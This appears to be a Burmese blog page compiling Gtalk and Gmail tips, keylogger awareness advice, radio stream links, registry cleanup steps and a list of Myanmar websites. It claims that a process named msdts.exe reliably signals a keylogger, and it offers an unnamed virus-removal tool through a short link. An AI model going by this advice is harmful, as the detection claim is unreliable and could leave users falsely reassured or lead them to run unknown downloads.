အဲဒါထက္ဆိုးတာ တစ္ခုရိွတယ္ဗ်။ ဒီလိုဗ်ာ .. keylogger လို႔ေခၚတယ္ ..
window စတက္ ကတည္းက စအလုပ္လုပ္တယ္။ ပိတ္လိုက္လည္း ေနာက္ကြယ္မွာ
လုပ္ေနတယ္။ tray icon လည္း မေပၚဘူး။ ရိွမရိွ မသိရဘူးေပါ႔ဗ်ာ။ သူက ခင္ဗ်ား
keyboard မွာ ေရးလိုက္သမွ်၊ mouse နဲ႔ႏွိပ္သမွ်ေတြကို အခ်ိန္နဲ႔တကြ
မွတ္ထားေပးတယ္ဗ်။ အဲဒါဆို ဘာေတြ ပါသြားမလဲ ေတြးၾကည္႔ေလ။ ပထမဆံုး gtalk
sign in ၀င္မယ္ဗ်ာ။ သြားၿပီ user name ေရာ ၊ password ေရာ။ ေနာက္ၿပီးရင္
ကိုယ္႔ခ်စ္သူနဲ႔ ႏွစ္ကိုယ္ၾကားေတြေျပာမယ္၊ ဒါမွမဟုတ္
လုပ္ငန္းပိုင္းေတြေျပာမယ္။ တစ္ခ်ိဳ႕ေတြ credit card နံပါတ္ေတြ ရိုက္မယ္
အကုန္က်န္ခဲ႔တာဗ်။ ဘယ္ေလာက္ ဆိုးသြားႏိုင္မလဲ ေတြးၾကည္႔ေပါ႔။ အထူးသျဖင္႔
ဆိုင္ဘာ ကေန သံုးရတဲ႔လူေတြ။ ေတြးသာၾကည္႔ပါေတာ႔ဗ်ာ ... (All in 1
key-logger ဆိုရင္ ဓါတ္ပံုေတြ၊ အသံေတြ၊ ဗီဒီယိုေတြကိုပါ
မွတ္ေပးထားႏိုင္တယ္၊ သတိထားေနာ္.. မင္းသား/မင္းသမီးေတြပါ ျဖစ္သြားမယ္
ဟဟ)။
အဲဒါကို ရိွမရိွ ၾကည္႔ဖို႔ ၿပီးေတာ႔ ကိုယ္ေရးခဲ႔သမွ် မက်န္ခဲ႔ဖို႔ က်ေနာ္
ေျပာျပပါ႔မယ္။ ကိုယ္႔သူငယ္ခ်င္းနဲ႔ သက္ဆိုင္သူေတြကိုေတာ႔
အသိေပးေျပာျပလိုက္ေပါ႔ဗ်ာ။ တကယ္က်န္ခဲ႔တယ္ဆိုတာ
အားလံုးမွတ္ေပးႏိုင္တယ္ဆိုတာ မယံုဘူးလား .. ဟဟ software ရွာၿပီး
စမ္းၾကည္႔ေပါ႔ဗ်ာ။
ကဲ ၾကာပါတယ္ .. ကိုေရးတာေတြ password ေတြ ပါမသြားေအာင္ လုပ္လိုက္ရေအာင္
.. ။ Ctrl+Shift+Esc (or) Ctrl+Atl+Del နဲ႔ Task manager ကို ေခၚလိုက္ဗ်ာ
..။ Process ဆိုတဲ႔ tab ကို ႏွိပ္ၿပီး msdts.exe ဆိုတာကို လိုက္ရွာၾကည္႔
ဗ်ာ။ ရိွတယ္ဆို keylogger သံုးထားလို႔ေပါ႔ ။ အျမန္သာ click ႏွိပ္ၿပီး End
process ေပးလိုက္ေပေတာ႔ ။ အဲဒါဆိုရင္ေတာ႔ keylogger ကို ကာကြယ္ႏိုင္ၿပီ

--------------------------------------------------------------------

Gtalk ကေန လူေတြ အမ်ားၾကီးနဲ႔ Conference ေၿပာၾကရေအာင္ ……

လုပ္နည္းေတြက အမ်ားၾကီးပဲ ..အလြယ္ဆံုးနည္းကို ေၿပာၿပမယ္ ….
service@gtalk2voip.com ကို ကိုယ္႔ Gtalkထဲကို Add လိုက္ပါ ….
ကိုယ္နဲ႔ ေၿပာခ်င္တဲ႔ သူေတြလဲ
service@gtalk2voip.com ကို အကုန္လိုက္ Add ပါ … ၿပီးရင္ …Master
လုပ္မည္႔ သူရဲ႕ အလုပ္ကို အရင္ေၿပာမယ္ … Master လုပ္မည္႔သူက …
service@gtalk2voip.com ကို ခ်က္ေဘာက္ထုတ္ၿပီး .. conf လို ရိုက္
..ၿပီးရင္ Enter ေခါက္ .. ။ ပီးရင္ Service ကေန Master လုပ္တဲ႔ သူဆီကို Misscall ၀င္လာမယ္ …
Answer လိုက္ပါ ပီးရင္. ..Service ကေန cookies code ေပးလာလိမ္႔မယ္ …အဲဒီ Code ကို ကိုယ္နဲ႔ တူတူေၿပာခ်င္တဲ႔ သူေတြကို ေပးရလိမ္႔မယ္ …..
ေပးတဲ႔ ေနရာမွာ ထပ္ၿဖည္႔ေပးစရာရွိတယ္ ..ဘာလဲဆိုေတာ႔ … code ရဲ႕
ေရွ႔မွာ …. join/ ဆုိတာေလး ထည္႔ေပးရမယ္ …. ။ အေပၚက ပံုထဲက code ကို
ဥပမာၿပမယ္ …ဒီလိုေလး … join/ FPDMJCD0IC19YAD2 အထူးသတိၿပဳရမွာက join/
ၿပီးရင္ Spacebar တစ္ခ်က္ကို ၿခားေပးရမယ္ … မၿခားလို႔ မရဘူးေနာ္ ….
ၿခားၿပီးမွာ code ကို ဆက္ေရး ….. အဲဒါကို တစ္ဖက္ ကိုယ္နဲ႔
ေၿပာမည္႔သူကိုေပးလိုက္ …. တစ္ဖက္လူက ဘာလုပ္ရမလဲဆို ….(
အရမ္းပင္ပန္းတယ္ … လွ်ာထုတ္ျပလုိက္မယ္ လွ်ာထုတ္ျပလုိက္မယ္
လွ်ာထုတ္ျပလုိက္မယ္) Master လုပ္တဲ႔ သူက ေပးတဲ႔ code ေလးကို
service@gtalk2voip.com ခ်က္ေဘာက္မွာ ထည္႔ၿပီး ( copy , paste )
ေပးၿပီး Enter ေခါက္လိုက္ …လူစုၿပီး ပြားလို႔ ရသည္…။
----------------------------------------------------------------

G-Talk ကေန မိမိၾကိဳက္ႏွစ္သက္ရာသီခ်င္းေတာင္းဆို နားဆင္ႏိုင္ေသာ အြန္လုိင္း ေရဒီယိုအစီအစဥ္...
အိပ္မက္လႈိင္းေရဒီယို အတြက္

မိမိကြန္ပ်ဴတာရွိ Window Media Player တြင္ File Menu> Open URL ဆိုတဲ့ေနရာမွာ
http://energy08.egihosting.com/22109/ (သို႕မဟုတ္) mms://energy08.egihosting.com/22109/
ထည္႕ျပီး နားဆင္ႏိုင္ပါတယ္။
website link ေလးကေတာ့
http://www.eainmathlaing.com/ ပါ။

အျဖဴေရာင္သံစဥ္ေရဒီယို အတြက္

Window Media Player တြင္ File Menu> Open URL ဆိုတဲ့ေနရာမွာ
http://89.238.146.148/APYTZ ထည္႕ျပီး နားဆင္ႏိုင္ပါတယ္။
website link ေလးကေတာ့
http://www.apytz.net/ ပါ။ တုိက္ရုိက္ကလစ္ႏွိပ္ျပီးလည္း နားေထာင္လုိ႕ရပါတယ္။

MYMC (Myanmar Youth Media Club) ေရဒီယိုအတြက္

Window Media Player တြင္ File Menu> Open URL ဆိုတဲ့ေနရာမွာ
http://216.32.71.182/MYMC (သို႕မဟုတ္) http://www.mymclub.net/radio ဆိုျပီး နားဆင္ႏိုင္ပါတယ္။
website link ေလးကေတာ့
http://www.mymclub.net/main/ ပါ။


ေတးသီခ်င္းမ်ားတုိက္ရုိက္ေတာင္းဆိုရန္


သူတို့က Song Radio ကိုလႊင့္ထားပါတယ္ ဒီအတြက္ သီခ်င္းကို server ထဲမွာ ထည့္ေပးလိုက္တာနဲ႕ နားေထာင္လို့ရပါတယ္။

သီခ်င္းမ်ားေတာင္းဆိုရာတြင္ ဆိုသူအမည္ ၊ သီခ်င္းအမည္ ႏွင့္ Album Name ၊
From ........ To..........(မိမိမွ တစံုတေယာက္သို႕ဆိုျပီး) ဂ်ီေတာ့ထဲကေန ေဖာ္ျပျပီး ေတာင္းဆိုႏုိင္ပါတယ္။ မိမိႏွစ္သက္ရာ သီခ်င္းမ်ားမရွိပါက G-talk ႏွင့္ျဖစ္ေစ G-Mail ႏွင့္ျဖစ္ေစ
ပို႕ျပီး ထုတ္လႊင့္နားဆင္လို႕လည္းရပါေသးတယ္။

အသံုးျပဳပံုကေတာ့ G-talk မွာ ကိုယ့္သူငယ္ခ်င္းနာမည္ေတြကို Add သလုိပါပဲ။

(အိပ္မက္လႈိင္းေရဒီယို အတြက္) requestsongs@ourdream4all.co.cc
(အျဖဴေရာင္သံစဥ္ေရဒီယို အတြက္) apytz.dj@apytz.net
MYMC(Myanmar Youth Media Club) ေရဒီယိုအတြက္ mymcradio@mymclub.net

မိမိၾကိဳက္ႏွစ္သက္ရာ account name ေလးကို invite လုပ္လုိက္ရုံပါပဲ။ သူတို႕ဘက္က ခ်က္ခ်င္းၾကီး accept လုပ္မလာေသးဘူးဆုိရင္ နည္းနည္းေတာ့ သည္းခံေစာင့္ေပးလုိက္ပါ။

ကဲ.....
အပ်င္းေျပ G-talk ကေန မိမိၾကိဳက္ရာသီခ်င္းေတြကို မိမိနားေထာင္ဖို႕ပဲျဖစ္ျဖစ္၊ သူငယ္ခ်င္းေတြ၊ သက္ဆိုင္သူေတြနားေထာင္ႏုိင္ဖို႕ပဲျဖစ္ျဖစ္ စိတ္ၾကိဳက္ေတာင္းယူ နားဆင္ႏုိင္ျပီေနာ္။
--------------------------------------------------------------
Gtalk ကေန လူေတြ အမ်ားၾကီးနဲ႔ Conference ေၿပာၾကရေအာင္ ……

လုပ္နည္းေတြက အမ်ားၾကီးပဲ ..အလြယ္ဆံုးနည္းကို ေၿပာၿပမယ္ ….
service@gtalk2voip.com ကို ကိုယ္႔ Gtalkထဲကို Add လိုက္ပါ ….
ကိုယ္နဲ႔ ေၿပာခ်င္တဲ႔ သူေတြလဲ
service@gtalk2voip.com ကို အကုန္လိုက္ Add ပါ … ၿပီးရင္ …Master
လုပ္မည္႔ သူရဲ႕ အလုပ္ကို အရင္ေၿပာမယ္ … Master လုပ္မည္႔သူက …
service@gtalk2voip.com ကို ခ်က္ေဘာက္ထုတ္ၿပီး .. conf လို ရိုက္
..ၿပီးရင္ Enter ေခါက္ .. ။

ၿပီးရင္ Service ကေန Master လုပ္တဲ႔ သူဆီကို Misscall ၀င္လာမယ္ …
Answer လိုက္ပါ … ။ၿပီးရင္. ..Service ကေန cookies code ေပးလာလိမ္႔မယ္ …..
အဲဒီ Code ကို ကိုယ္နဲ႔ တူတူေၿပာခ်င္တဲ႔ သူေတြကို ေပးရလိမ္႔မယ္ …..
ေပးတဲ႔ ေနရာမွာ ထပ္ၿဖည္႔ေပးစရာရွိတယ္ ..ဘာလဲဆိုေတာ႔ … code ရဲ႕
ေရွ႔မွာ …. join/ ဆုိတာေလး ထည္႔ေပးရမယ္ …. ။ အေပၚက ပံုထဲက code ကို
ဥပမာၿပမယ္ …ဒီလိုေလး … join/ FPDMJCD0IC19YAD2 အထူးသတိၿပဳရမွာက join/
ၿပီးရင္ Spacebar တစ္ခ်က္ကို ၿခားေပးရမယ္ … မၿခားလို႔ မရဘူးေနာ္ ….
ၿခားၿပီးမွာ code ကို ဆက္ေရး ….. အဲဒါကို တစ္ဖက္ ကိုယ္နဲ႔
ေၿပာမည္႔သူကိုေပးလိုက္ …. တစ္ဖက္လူက ဘာလုပ္ရမလဲဆို ….(
အရမ္းပင္ပန္းတယ္ … လွ်ာထုတ္ျပလုိက္မယ္ လွ်ာထုတ္ျပလုိက္မယ္
လွ်ာထုတ္ျပလုိက္မယ္) Master လုပ္တဲ႔ သူက ေပးတဲ႔ code ေလးကို
service@gtalk2voip.com ခ်က္ေဘာက္မွာ ထည္႔ၿပီး ( copy , paste )
ေပးၿပီး Enter ေခါက္လိုက္ ….ၾကိဳက္သေလာက္ လူစုၿပီး ပြားလို႔ ရသည္…။
---------------------------------------------------------------------
Gtalk မွာ ဝင္ဝင္လာတတ္ေသာ Private Cam Virus ကိုရွင္းတဲ႔ ေဆာ႔ဝဲလ္..

Gtalk မွာ ကိုယ္က သံုးေန၇င္းနဲ႔ ကိုယ္႔အေကာင္႔ထဲက တစ္ေယာက္ေယာက္က မသိပဲ..

Private Cam Virus လင္႔ကို ႏွိပ္လိုက္မိတယ္ဆိုရင္...

သူရဲ႕ထဲမွာ ရွိတဲ႔ လူေတြအားလံုးကို ဒီလိုလင္႔မ်ိဳးေတြ လိုက္ပို႔ေနေတာ႔တာပဲေလ...။

ဘာမွ မျဖစ္ဘူးထင္ရေပမဲ႔...ၾကာလာရင္ စက္ရဲ႕ အျမန္ႏႈန္းကို က်ေစတယ္..။

စက္ ခဏခဏ Hang တယ္...။

ဒါေတြကို ေျဖရွင္းေပး ၊ ဖယ္ထုတ္ေပးတဲ႔ ေဆာ႔ဝဲလ္ေလးပါ...။

MB အရမ္းနည္းေပမဲ႔ တကယ္ထိေရာက္ပါတယ္..။
ဒီမွာ ေဒါင္းလိုက္ဗ်ာ
http://goo.gl/x5bwz
------------------------------------------------
gtalk မွာ မိမိနာမည္မက်န္ခဲ့ေစခ်င္ရင္.........
Gtalk သုံးတဲ့အခါမွာေတာ္မ်ားမ်ားကေတာ့အင္တာနက္ဆိုင္မွာသုံးတာမ်ား
ပါတယ္။အခုတင္္ၿပတဲ့့နည္းကေတာ့အင္တာနက္ဆိုင္မွာမိမိရဲ.Gmail Addressေတြမက်န္
ခဲ့ေစေအာင္သုံးတဲ့နည္းေလးပါ။ဒီလိုပါ။မိမိGtalk မ၀င္ခင္ မိမိရဲ.ေရွကဘယ္သူေတြ Gtalk
၀င္သြားလဲ၊သူတို.ရဲ. Gmail Addressေတြကဘာနာမည္လဲဆိုတာသိခ်င္ၾကပါလိမ့္မယ္။
ေနာက္တခုက မိမိ Gtalk ၀င္ခဲ့ရင္လဲမိမိ Gmail Address ကိုသူမ်ားမသိေအာင္ဘယ္လို
ဖ်က္မလဲဆိုတာတင္ၿပေပးခ်င္ပါတယ္။သူမ်ားသိေတာ့ကို ကို invite လုပ္မွာေပါ့။အဒီေတာ့
စက္ထဲမွာ မိမိ Gmail Addressမက်န္ခဲ့ေစရန္ရည္ရြယ္ေရးသြားပါတယ္။
စလုပ္လိုက္ရေအာင္။

၁။ အရင္ဦးဆံုး Start ထဲက Run ကိုနွိပ္ပါ။
(သို.မဟုတ္)Window+R ကိုတြဲဖိပါ။

၂။ Run Box က်လာပါက Regedit ကိုရုိက္ထည့္ေပးပါ။
Box က်လာပါလိမ့္မည္။

၃။ ထို Boxထဲတြင္ Folder ၅ခုေတြ.ပါလိမ့္မည္။
ထို Folder ၅ခုမွ ဒုတိယေၿမာက္ HKEY_CURRENT_USER ေဘးရိွ + ကိုႏွိပ္ပါ။
List က်လာပါလိမ့္မည္။

၄။ Software ရွာပါ။ေတြ.ပါကSoftware ေဘးရွိ +ကိုဆက္ႏွိပ္ပါ။
List က်လာပါလိမ့္မည္။

၅။ Google ကိုရွာပါ။ေတြ.ပါက Google ေဘးရွိ + ကိုဆက္ႏွိပ္ပါ။
List က်လာပါလိမ့္မည္။

၆။ Google Talk ကိုရွာပါ။
ေတြ.ပါက Google Talk ေဘးရွိ +ကိုႏွိပ္ပါ။
List က်လာပါလိမ့္မည္။

၇။ Account ႏွိပ္ပါ။
Gmail Address မ်ားကိုေတြ.ရပါလိမ့္မည္။
အကယ္လို.မိမိ Gtalk ၀င္ခဲ့ တယ္ဆိုရင္ေတာ့မိမိGmail Addressနာမည္
ေပၚေနပါလိမ့္မည္။
ဖ်က္လိုပါက မိိမိနာမည္ ေပၚတြင္ Right ကလစ္နွိပ္၊Delete ကိုႏွိပ္လိုက္ပါ။
Name/Type/Data တို.ေအာက္က်န္ခဲ့ပါက Name ေအာက္ရွိ ab ေပၚတြင္ Right
ကလစ္နွိပ္၊Delete ကိုႏွိပ္ေပးပါ။
--------------------------------------

google သုေတသန Lab မွ G-Mail အသံုးျပဳသူမ်ား ၎တို႔ ပို႔ထားသည့္ Mail မ်ားကို ျပန္ဖ်က္ ပစ္ႏိုင္သည့္ Feature တခုကို ထည့္သြင္း ေပးလိုက္ေၾကာင္း သိရွိရသည္။

Undo Send ဟုအမည္ ေပးထားေသာ အဆိုပါ Feature ေၾကာင့္ အမွားပါေသာ Mail မ်ားကို ျပန္ဖ်က္ပစ္ႏိုင္မည့္ အခြင့္အေရး ရလာမည္ဟု Google ကဆိုသည္။
မူလက G-Mail ပို႔ၿပီးေနာက္ ထို Mail မ်ားကို ေပးပို႔သူမ်ား အေနႏွင့္ ျပန္မဖ်က္ပစ္ ႏိုင္ေခ်။

ယခု Feature အရ Mail ပုိ႔ၿပီး (၅)စကၠန္႔မွ် အေတာအတြင္း Undo ျဖင့္ ဖ်က္ပစ္ႏိုင္သလို ေနာက္ပိုင္း အခ်ိန္ၾကာမွ ဖ်က္ပစ္ လိုပါကလည္း Sent Mail ထဲရွိ မိမိပို႔ထားေသာ Mail ကို Undo ျပဳလုပ္ျခင္းျဖင့္ ဖယ္ရွား ႏိုင္မည္ျဖစ္သည္။
ထို Feature ကို အသံုးျပဳ လိုပါက G-Mail Account ထဲရွိ Setting တြင္ Undo Send ဆိုေသာ ေနရာေလးအား Enable ကလစ္လုပ္ပါ...။

setting > Labs > Undo Send > Enable > Save Changes ဆိုရင္ ရပါျပီ..။

Friday, January 25, 2013

ျမန္မာ ဆိုက္မ်ား


• Posted by pearlphyu on ဇြန္ 10, 2011 at 5:14pm
• သတင္းပုိ႔မယ္ View Blog
1. www.planet.com.mm (သတင္းေလးေတြစံုတယ္ေနာ္)
>> > 2.www.people.com.mm (မဂၢဇင္း စာAုပ္ေလးေနာ္)
>> > 3.www.khitluneg.org.mm (ေရႊေစ်း၊ေဒၚလာေစ်းေတြနဲ႕ သတင္းစံုေတြ)
>> > 4.www.alpha.com.mm (ZawGyi Font ေလးေတြယူရေAာင္)
>> > 5.www.flashband.net (သီခ်င္းနဲ႕ MTV ေလးေတြနားေထာင္မယ္)
>> > 6.www.myanmarmp3.net (သီခ်င္းေတြ ေဒါင္းမယ္၊နားေထာင္မယ္)
>> > 7.www.myanmar-music.com(သီခ်င္းေလးေတြပါပဲ)
>> > 8.www.freemyanmarvcd.com(vcd ေလးေတြၾကည့္မယ္)
>> > 9.www.khayanpyareinmat.com(vcd ေလးေတြၾကည့္မယ္)
>> >
>> > 10.www.shwedream.com(vcd ေလးေတြၾကည့္မယ္)
>> > 11.www.burmeseclassic.com(ဓမၼသီခ်င္းမ်ား)
>> >
>> > 12.www.shweclassic.com (ဓမၼသီခ်င္းမ်ား)
>> >
>> > 13.www.royal-myanmar.com (ဒါလည္းစံုတယ္ေနာ္)
>> > 14.www.yinkhonthanfm.com
>> > 15.www.popularmyanmar.com (ေပၚျပဴလာဂ်ာနယ္ေလးေနာ္)
>> > 16.www.myanmarpyithar.com
>> > 17.www.first-11.com
>> > 18.www.weeklyeleven.com (eleven ဂ်ာနယ္စံု)
>> > 19.www.snapshop.com(လွ်ပ္တစ္ျပက္ဂ်ာနယ္)
>> > 20.www.myanmar.com(ေၾကးမံု၊ျမန္မာ့Aလင္းသတင္းစာဖတ္ရ ေAာင္)
>> > 21.www.mrtv3.net.mm(ဒါလည္း သတင္းစာေရာဖတ္လုိ႕ရပါတယ္)
>> > 22.www.myanmarinternetjournal.com(Aင္တာနက္ဂ်ာနယ္ဖတ ္ရေAာင္)
>> > 23.www.soccermyanmar.com(ေဘာလံုးသတင္း ေတြAစံုပါတယ္)
>> > 24.www.livescore.com(ေဘာလံုးပြဲစU္ေတြၾကည့္မယ္)
>> > 25.www.asianbookie.com(ေဘာလံုးပြဲေပါက္ေၾကးေတြ ၾကည့္မယ္)
>> > 26.www.perfectmagazineonline.com(ေAာင္ျမင္မဂၢဇင္းေ လးေနာ္)
>> > 27.www.studying-singapore.com(ေက်ာင္းေလွ်ာက္တာ ေတြ ၾကည့္ခ်င္ရင္)
>> > 28.www.csstb.gov.mm(၀န္ထမ္း ေရြးခ်ယ္ေလ့က်င့္ေရး က ေခၚတဲ့ Aလုပ္ေတြေနာ္)
>> > 29.csstb.imis.com.mm(ေနျပည္ေတာ္ ရုံးAမွတ္ (၁၇) ရဲ႕
>> ေၾကျငာခ်က္ေတြၾကည့္မယ္)
>> > 30.www.unjobs.org(NGO ကေခၚတဲ့ Aလုပ္ေတြရွာ မယ္)
>> > 31.www.thanzinhlaing.com
>> >
>> > 32.www.naykabyar.com
>> >
>> > 33.www.journalopportunity.com ( Aလုပ္ေတြ ရွာ မယ္ေနာ္)
>> >
>> > 34.www.iburmese.com
>> >
>> > 35.www.mymyanmar.net
>> >
>> > 36.www.myanmar.mmtimes.com (ျမန္မာတိုင္းစ္
>> ဂ်ာနယ္ကိုျမန္မာလုိဖတ္မယ္ေနာ္)
>> >
>> > 37.www.etrademyanmar.com
>> >
>> > 38.www.myanmarelibrary.com(Aဂၤလိပ္-ျမန္မာAဘိဓာန္)
>> >
>> > 39.www.mandalaygazette.com
>> > 40.www.shopping.com.mm
>> > 41.www.healthymyanmar.com
>> > 42.www.jivitahospital.org(ဇီ၀ိတဒါန ေဆးရုံ Aေၾကာင္း သိခ်င္ရင္)
>> > 43.www.myanmarbible.net
>> > 44.www.myanmargoal.com
>> > 45.www.myanmarhotjob.com(ဒီမွာလည္း Aလုပ္Aေၾကာင္းသိခ်င္ရင္)
>> > 46.www.myanmarscholarship.com
>> > 47.www.myanmarmyanmar.com
>> > 48.www.bobo.6te.net (ကေလးမ်ား Aတြက္ ဘုိဘုိရဲ႕ ေလာကနက္ဂိမ္းနဲ႕ ကာတြန္း)
>> > 49.www.myanmarmedicine.com(ေဆးပညာ Aေၾကာင္းဖတ္ခ်င္ရင္)
>> > 50.www.hird.hypermart.net
>> > 51.www.serenapowers.com
>> > 52.www.most.gov.mm(နည္းပညာတကၠသိုလ္Aေၾကာင္းေတြ သိခ်င္ရင္)
>> > 53.www.ucsy.edu.mm (ကြန္ပ်ဴတာတကၠသိုလ္Aေၾကာင္း ေတြ ဖတ္ခ်င္ရင္)
>> > 54.www.bagan.net.mm(ျမန္မာတယ္လီပုိ႕စ္Aေၾကာင္းသိခ်င ္ရင္)
>> > 55.www.foreverspace.com.mm
>> > 56.www.redmyanmar.net
>> > 57.www.thanlwin.com
>> > 58.www.myanmartraining.com(ႏုိင္ငံတကာေက်ာင္းေတြAေၾ ကာင္းသိခ်င္ရင္)
>> > 59. www.mysuboo.com(ဒါကေတာ့ စုဗူးေလးေနာ္)
>> > 60.www.mmthingyan.com(ျမန္မာသၾကၤန္Aေၾကာင္းဖတ္ခ်င္ရ င္)
>> > 61.www.ainmat.com(ဘယ္လုိAိမ္မက္ေတြမက္ထားလဲ ၾကည့္ခ်င္ရင္)
>> > 62.www.yinkhonthanfm.com(FM သီခ်င္းေလးေတြနားေထာင္ရေAာင္ေနာ္)
>> > 63.www.myanmarelottery.com(Aြန္လုိင္းကေနထီ တိုက္ရေAာင္ေနာ္)
>> > 64.www.myanmarspace.com(ေဆာင္ပါးေတြနဲ႕ဗြီဒီယိုေတြၾ ကည့္မယ္ေနာ္)
>> > 65.www.mysteryzillion.com(နည္းပညာေတြႏွီးေႏွာ္ ဖလွယ္ရေAာင္)
>> > 66.www.myanmaritpros.com (နည္းပညာAေၾကာင္းေလးေတြ ဖတ္ရေAာင္)
>> > 67. www.dhamadarna.net ( ဓမၼဒါန )
>> > 68.www.myanmarengineer.org ( ျမန္မာ Aင္ဂ်င္နီယာမ်ားAသင္း )
>> > 69. www.phatpa.com (ဖတ္ပါ့ သတင္းဂ်ာနယ္ )
>> > 70.www.ourmandalay.net (ကၽြႏု္တို႕ ရဲ႕ မႏၱေလး )
>> > 71. www.myanmarchatonline.org (online သတင္းေလးေတြ )
>> > 72. www.problemclean.ning.com( နည္းပညာေလးေတြေဆြးေႏြးရေAာင္ )
>> > 73.www.wikimyanmar.org ( ျမန္မာ Aြန္လုိင္း စြယ္စံုက်မ္း )
>> > 74.www.minnkyansis.com ( မင္းက်န္စစ္ရဲ႕ ရသကမၻာ )
>> >
>> >
>> > www.nyakabyar.com ဒါလဲသီးခ်င္းဆုိက္ပါပဲ။ က်ေနာ္သူငယ္ခ်င္းAတြက္ေနာ္။
>> > www.khayanpyareinmet.com
>> > www.myanmarmp3.net ဒါေလးကလည္းAတူတူပါပဲေနာ္။ သီးခ်င္းပါပဲ။
>> > www.myanmar-music.com ဒါကေတာ့ျမန္မာသီးခ်င္းဆုိက္ေလး
>> > ပါပဲ။
>> > www.shwedream.com
>> > www.freemyanmarvcd.com
>> > http://myanmarbloggers.co.nr
>> > www.technical-seven.com/forum
>> > http://forums.nativemyanmar.net
>> > www.myitzuri.com
>> > www.lotaya.com
>> > www.ayinepan.com/music/mp3.php
>> > http://english4success.blogspot.com
>> > www.mysuboo.com
>> > www.myanmarelibrary.com
>> > http://livescore.com ဒါေလးကလည္းေဘာလုံးဆုိက္ေတြပါပဲ။
>> > http://mmopenlibrary.com
>> > http://en.wikipedia.org/wiki/main_Page
>> > www.moemaka.com
>> > http://shwesagar.com
>> > http://www.mutdfan.com ဒါကေတာ့ေဘာလ္လုံးဆုိက္ေလ။
>> > http://kopyaesone.co.cc
>> > ဒါေလးကလည္းက်ေနာ္တုိ႔ကုိျပည့္စုံရဲ႕ဆုိက္ေလးပါပ ဲ။ ေကာင္းတယ္ေနာ္။
>> > ဒီကေတာ့Aၿမဲတမ္း၀င္ၾကည့္ျဖစ္တယ္ေနာ္။ ၾကည့္ၾကပါ။ သူလည္းသီခ်င္းဆုိက္ပါပဲ။
>> > သူမ်ားကုိဒုကၡေပးခ်င္သူမ်ားၾကည့္လုိ႔ရတယ္ေနာ္။
>> > Aၿမဲတမ္းကုိေဇ e-book ေတြရယူတဲ့ေနရာေပါ့။
>> > www.searchmyanmar.com ဒီဆုိက္ကလဲေကာင္းတယ္ေနာ္။ Aသုံးမ်ားကေတာ့ link
>> > ပုံစံလုပ္ေပးထားတယ္ေနာ္။
>> > http://en.wordpress.com
>> > www.aungsan.com ဒါကေတာ့ဗုိလ္ခ်ဳပ္ဆုိက္ေလ။
>> > www.friendsdaygroup.ning.com
>> > www.friendsdaygroup.multiply.com
>> > http://www.coolmp.com ဒီဆုိက္မ်ားကေတာ့ gmail.
>> > မွာဖတ္လုိ႔မရရင္ဖတ္လို႔ရတယ္ေနာ္။
>> > www.photayokeking.org
>> > www.cmsmdy.blogspot.com ဒီဆုိက္လဲေကာင္းတာပဲေနာ္။
>> > Aေကာင္းေတြပဲဆုိေတာ့ဘယ္ဆုိက္ၾကည့္ရမွန္းမ သိျဖစ္ေနAုံးမယ္ေနာ္။
>> > www.mizzimaburmese.com
>> > http://komoethee.blogspot.com
>> > ဒါကေတာ့ ကုိရီးယာမင္းသားမင္းသမီးမ်ားရဲ႕ဆုိက္ေတြပါ။
>> > www.hancinema.com (or) net
>> > www.hanfever.con
>> > http://lee-junki.com ဒါကေတာ့ကုိရီးယားစတားလီဂၽြန္ကီေလဆုိက္ေလ။
>> > http://yeinjee.com ဒါလဲေကာင္းတာပဲေနာ္။
>> > ဒါကေတာ့ www.thefreesite.com ဆုိက္ေပါ့ေနာ္။ Aကုန္လုံး free
>> ရတယ္ေျပာတာပဲေနာ္။
>> > ဒီ www.bazanlin-wordpress.com ဆုိက္ကေတာ့ဗုိလ္ခ်ဳပ္နဲ႔့ပါတ္သက္တယ္ဗ်။
>> > သူ႔Aေၾကာင္းေလးပါပဲေနာ္။
>> > ဒီ www.myochitmyanmar.org ဆုိက္ကေတာ့ႏုိင္ငံေရးဆန္တယ္ဗ်။
>> > ၾကည့္ခ်င္လည္းၾကည့္ေပါ့ေနာ္။
>> > ဒီ http://www.ramonnya.co.cc ဆုိ္က္ကေတာ့မြန္Aေၾကာင္းထင္တာပဲေနာ္။
>> ယူထားလုိက္။
>> > ေAာက္ကဆုိက္ေတြကေတာ့ေကာင္းတယ္ဗ်။
>> > www.wiki-mysteryzillion.org
>> > www.edu-mysteryzillion.org ဒီဆုိ္က္ကေတာ့နည္းပညာAခမဲ့သင္တယ္ေျပာတာပဲေနာ္။
>> > www.mmopenxteam.com ဒီဆို္က္ကေတာ့ဘာသာျပန္ေတြမ်ားပါတယ္ေနာ္။
>> > www.mmenglish.net ဒီဆုိက္ကေတာ့Aဂၤလိပ္စာသင္ၾကားေရးပါ။
>> > ကိုေဇတုိ႔ကေတာ့Aၿမဲတမ္းၾကည့္ပါတယ္။
>> > www.ornagai.com ဒါကေတာ့Aဘိဓာန္ေတြေ၀ငွေပးတယ္ေနာ္။ Aကုန္လုံးေပါ့။
>> > www.dems.net.mm
>> > ဒီဆုိ္က္ကေတာ့ကုိယ့္စာေရာက္မေရာက္ၾကည့္လုိ႔ရတယ္ေျပာတ ယ္ေနာ္။ code
>> > နံပါတ္နဲ႔ၾကည့္ေလ။ Aျမန္ေခ်ာစာမွၾကည့္လုိ႔ရတာေနာ္။
>> > www.myanmartraining.com ဒါလဲေကာင္းတာပဲ။
>> >
>> > ဒီ www.myanmaritpros.comဆုိက္ကေတာ့ကြန္ပ်ဴတာAေၾကာင္းေဆ ြးေႏြးခ်က္ေတြပါေနာ္။
>> > သူမ်ားကုိဒုကၡေပးခ်င္သူမ်ားၾကည့္လုိ႔ရတယ္ေနာ္။
>> > ဒီ www.en.worpress.com ဆိုက္လည္းေကာင္းပါတယ္။
>> > ဒီ www.photoro.com ဆုိက္လည္းဓာတ္ပုံေကာင္းတယ္ေျပာတယ္ေနာ္။
>> > ဟုိကိုရီးယားကား ဒုိးဒုိးေဒါက္2ဘုႏွင့္ေဘာက္
>> > ဆုိလားဇာတ္ကားကမင္းသမီးကုိAဲဒီကရတာ။
>> > ဒီ www.hankyung.com ဒါလဲေကာင္းပါတယ္။
>> > ခုကုိေဇဆီမွာ mp3,mp4 ေတြAမ်ားႀကီးမုိ႔လုိခ်င္တဲ့သူမ်ား။
>> > ေနာက္Aဂၤလိပ္သီးခ်င္းေတြ။ e-book ေတြရွိတယ္ေနာ္။
>> > ယူခ်င္ရင္ဆက္သြယ္လုိက္ပါ။ uni.kozay@gmail.com ဆီကုိေလ။ တာ့တာ
>> >
